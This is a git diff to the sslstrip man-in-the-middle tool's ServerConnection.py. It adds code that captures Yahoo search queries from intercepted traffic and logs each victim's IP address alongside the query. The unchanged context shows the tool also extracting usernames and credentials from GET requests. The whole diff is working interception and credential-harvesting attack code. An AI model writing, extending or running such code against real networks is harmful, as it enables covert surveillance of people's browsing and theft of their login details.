diff --git a/libs/sslstrip/ServerConnection.py b/libs/sslstrip/ServerConnection.py index c4900b8..c2ffdb3 100644 --- a/libs/sslstrip/ServerConnection.py +++ b/libs/sslstrip/ServerConnection.py @@ -83,6 +83,7 @@ class ServerConnection(HTTPClient): error = str(e) logging.warning("%s Error parsing google search query %s" % (self.client.getClientIP(), error)) + #Capture bing searches if ('bing' in self.headers['host']): if ('Suggestions' in self.uri): try: @@ -95,6 +96,19 @@ class ServerConnection(HTTPClient): error = str(e) logging.warning("%s Error parsing bing search query %s" % (self.client.getClientIP(), error)) + #Capture yahoo searches + if ('search.yahoo' in self.headers['host']): + if ('nresults' in self.uri): + try: + for param in self.uri.split('&'): + if param.split('=')[0] == 'command': + query = str(param.split('=')[1]) + if query: + logging.info("%s is querying %s for %s" % (self.client.getClientIP(), self.headers['host'], query)) + except Exception, e: + error = str(e) + logging.warning("%s Error parsing yahoo search query %s" % (self.client.getClientIP(), error)) + #check for creds passed in GET requests.. It's surprising to see how many people still do this (please stahp) for user in self.http_userfields: username = re.findall("("+ user +")=([^&|;]*)", self.uri, re.IGNORECASE)